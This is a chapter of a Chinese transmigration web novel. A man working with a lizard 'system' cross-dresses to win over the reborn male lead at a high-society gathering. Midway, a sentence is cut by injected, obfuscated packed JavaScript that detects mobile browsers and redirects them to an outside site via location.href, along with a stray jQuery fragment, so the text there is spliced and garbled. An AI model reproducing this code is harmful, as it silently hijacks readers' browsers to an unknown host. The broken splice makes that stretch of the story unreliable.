结果伸出去的手被一脸警惕的陆徊躲开,才意识到现在的陆徊不是昨天那个任他予取予求的小妻子。 “……你再休养几天,等医生开具出院证明后,就可以回去了。” “不会还要回你那里吧?” 正和那只烤乳鸽作斗争的陆徊猛一抬头,被严珩驰话语里的熟稔惊得半天回不过神,拜托,他们关系有好到这个程度吗? “你还想去哪里?” 拧着眉,严珩驰看着满脸写着不乐意的陆徊,知道自己之前给他留下的印象算不上好,一时半会也想不到解决的办法,只能略略缓和了语气,哄着人和自己住一起。 “上次和你父亲见面,他要我好好照顾你,如果你玩赛车住院的消息被令尊知道……” “好了好了!我去,我去就行了。” 最见不得男人扯出来长辈这面大旗,陆徊喝完最后一口鸡汤,愁眉苦脸地揉了揉肚子,总感觉吃得有点太饱,小小打了个嗝儿。 床边落下一片阴影,印象里不算很熟的未婚夫满脸关切,径直伸手摸上了他的小腹,非常熟练地揉起来,手法老练,整得陆徊有些心慌。 但是又被揉得很舒服,干脆就滑进被子里,捏着蜥蜴的尾巴悄声发问。 【不对吧,怎么感觉他好像对我态度不太对啊?我们之前很熟吗?】 【别管这个了,揉肚子也算亲密接触——你看看,你看看,能量值才涨了0.39个点!比拼多多还拼多多。】 一人一蜥蜴都沉默住了。 陆徊努力挤出笑容,把人推了推,假装自己困了,话里话外赶人走,严珩驰居然也没有强留,反而问了几句陆徊想吃什么,轻轻关上了门。 “我觉得问题可能出在这里。”陆徊也顾不上查看男人到底有没有走远,一溜烟儿钻进被窝里,和蜥蜴大眼瞪小眼,悄声商量。 “可能因为这个严珩驰是剧情里的炮灰,所以他给的能量特别少,按照这个进度,我老死了都拉不满进度条——” 【所以?】 蜥蜴看着黑暗中陆徊滴溜溜乱转的眼睛,突然涌上一阵不好的预感。 “我得换个人走进度条,系统,你快查查,这个世界的主角是谁?” 不是,你连炮灰都搞不定呢,怎么就想着对世界主角下手了? 几天后陆徊顺利出院,严珩驰似乎很忙,把他放到庄园门口就走了,陆徊躲在二楼窗帘里,看着男人急匆匆离开的模样,赶紧和蜥蜴商量自己的计划。 “今晚在海和卢一楼,有个行业龙头的集会。”蜥蜴翻了翻剧情,实在拗不过一意孤行的宿主,只能把自己知道的都告诉他,“严珩驰就是急着去这里,会有很多科技产业的大佬,而原文主角孟远逢也在。” “快快,你给我再详细描述一下这个孟什么远的资料。” 左看右看,直到视野里真的没了严珩驰的车影,陆徊赶紧扒拉着柜门,手忙脚乱地翻腾今晚出席需要的衣服。 “嗯,他这个时候父母刚意外身亡,被觊觎他家产的叔叔带进去受尽白眼,没什么可说的。” 还在翻找相搭胸针的陆徊手上动作一顿,皱着眉头思索了一阵,突然把刚才好不容易翻出来的礼服往回一塞,锤了下手心,双眼发亮。 “我知道该怎么办了!” 海和卢一号街,七绕八拐后眼前豁然开朗,一座隐蔽性极好的园林藏匿其中,身穿燕尾服的侍者脱帽向来者致意,指挥着把客人的车辆停入庭院里,对着各式各样的豪车面色不改,似乎已经见惯了这样的场面。 “滴——” 鸣笛声打断了他的思路,抬头看去,一辆并未在市面上出现过的豪华轿车无声滑入门口,缓缓在他面前停下。侍者连忙上前,准备为后排的贵客打开车门,然而还没等他触碰到门把,车门如同幽灵般已经悄然滑开。 他一抬头,被映入眼帘的景色惊得失去了所有言语,连最基本的迎宾动作都忘得一干二净。 踏板自动展开,纤细的脚腕上坠了一串红玉,布满了碎钻的鞋尖巧然落下,紧接着,如同月华流动般的银灰色缎面缓缓从车内淌出,如玉般的面上露出一对明亮的圆眸。 “这里是海和卢吗?” 愣愣看着貌美得不似凡间容颜的少女,侍者顿了几秒才察觉自己的失职,赶紧扶住来人的手领她下来,开口回话时,只觉得艰涩无比。 “是的,请问是我帮您泊车还是……” “是这里就好,不必了。” 一朵云从侍者手中飘走,“少女”冲他挥挥手,步伐有些不稳地向门里走去。只觉得对方的声音有些感染风寒后的低哑,还没来得及询问需不需要引路,侍者只能眼睁睁看着对方的身影消失在门后。 而在他面前,刚才的轿车无声关上门,竟然自行开启了转向灯,在旁人目瞪口呆的注视下,停在了门口的车位线里,不偏不倚,仿佛教科书一般的倒车入库。 “太神奇了这个严珩驰,真的是无人驾驶欸。”看到周围没人,这才放下一颗心的陆徊苦着脸扯扯自己的裙摆,生怕一个不小心就踩到,他小心翼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15984113|177913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翼地提着走,边找人边惊叹。 “我说出来目的地,坐在后排什么都不用管,居然真的就开过来了,你看到了吗,它还会自己停车!” 【嗯还会给你放平座椅按摩。】 蜥蜴恹恹地趴在“少女”脸上,把自己变成和对方裙子一样的颜色,盯着数据目不转睛。 “找到了!剧情男主正在被几个小喽啰欺负,说他是扫把星,什么没爹妈的死孩子,嗯,如果你想和他拉近关系,那现在还挺合适的。” 已经猜到陆徊要走什么路线的系统打个哈欠,不由得佩服自己宿主的奇思妙想——他怎么就知道换了件女装骗男主放下戒心的! “不不不,现在出去太早了。” 听到蜥蜴的提示,陆徊赶忙躲在门口,还差点被裙子绊了一跤,他悄咪咪透过门缝往外看,果不其然看到几个人围着一个靠在墙上的少年,你一言我一语地说着,每一句都难听得刺耳。 “我走的可不是什么救赎路线,那样可能会被当成别有居心,太刻意了。” 摇摇手指,眼看着包围圈越来越小,即将爆发一场多人斗殴。陆徊整了整裙子,故意把打理好的发型弄乱了一些,又解开几颗扣子,做出一副跑过来的模样,急匆匆冲出了房间。 他三步并作两步,推开走廊上的人,挤进包围圈里拉住了男主的手。 “都说了不让你乱跑,我爸爸找不到你,还以为你怕了呢!” 带着点埋怨的语气,陆徊把一个“出来找自己男朋友”的大小姐演得活灵活现,抱着胸扬起下巴,看了一圈周围因为他出现而怔愣一片的几人,不耐烦地摆摆手。 “还挡着路干什么?都让开!” 大摇大摆带着人离开,陆徊回头看了一眼身后没人追过来,也顾不得看旁边的男生什么表情,抓着人就跑。 这处庭院建得极深,如果没有蜥蜴指路,早就不知道跑哪儿去了。 陆徊气喘吁吁地扶着柱子停下,撩开黏在额角的发丝,这才有空打量这个世界的男主角。 嗯,沉默寡言,头也不抬,很符合父母双亡的孤儿形象。 只是为什么都是男生,跑了这么久对方一点汗都没出?只有他喘得像头牛…… “喂,你把头抬起来。” 手心的柔软滑走,又重新变得空荡。孟远逢慢慢直起身子,正视这个突然跑出来的大小姐,眼中平静无波,淡然地完全不像他这个年纪的同龄人。 “我爸给我相亲,我不喜欢,所以跑了,现在你要跟我回家,假扮我的男朋友。” 满脸写着娇纵的“少女”像只骄傲的小孔雀,似乎打定了主意他不会拒绝,现在只不过是通知。 “你是今天包下三楼永鸿厅做生日宴的那位二小姐吗?” 眼前的女孩愣了愣,似乎没想到他一下就猜中了自己的身份,干脆坐在红凳上托着腮点点头,鼓着脸拿手扇了扇风,又问了一遍刚才的话。 “快点答应,过会儿我爸爸就要找过来了!” 孟远逢细细打量着这位面生的小姐,露出一个不太熟练的笑,低声应了。 “那就好,快点快点,我的车就停在门外,再不走跑不掉了。” 陆徊风风火火地跳起来,抓着男主的手就往外跑,一边绕路一边得意地冲蜥蜴笑。 【你看这个龙傲天多好拿下,哼哼,小小男主,刷爆能量值还不是轻而易举。】 系统四只爪子都牢牢抓在陆徊身上才没让自己飞出去,呼呼的风声下根本听不清他说了什么,只能嗯嗯地附和,晕头晕脑。 一人一统都没有注意到跟在他们身后的那个男生,眼中除了纯然的平静,就是不易察觉的一点疑惑。 海和卢的三层在他收购后就改成了室内温室花园,哪儿来的永鸿厅做生辰宴?上辈子,怎么没听说过有这么一个女人…… 孟远逢低下头,看了一眼牵着他的手,慢慢摇了摇头,眸底浮现一丝兴味。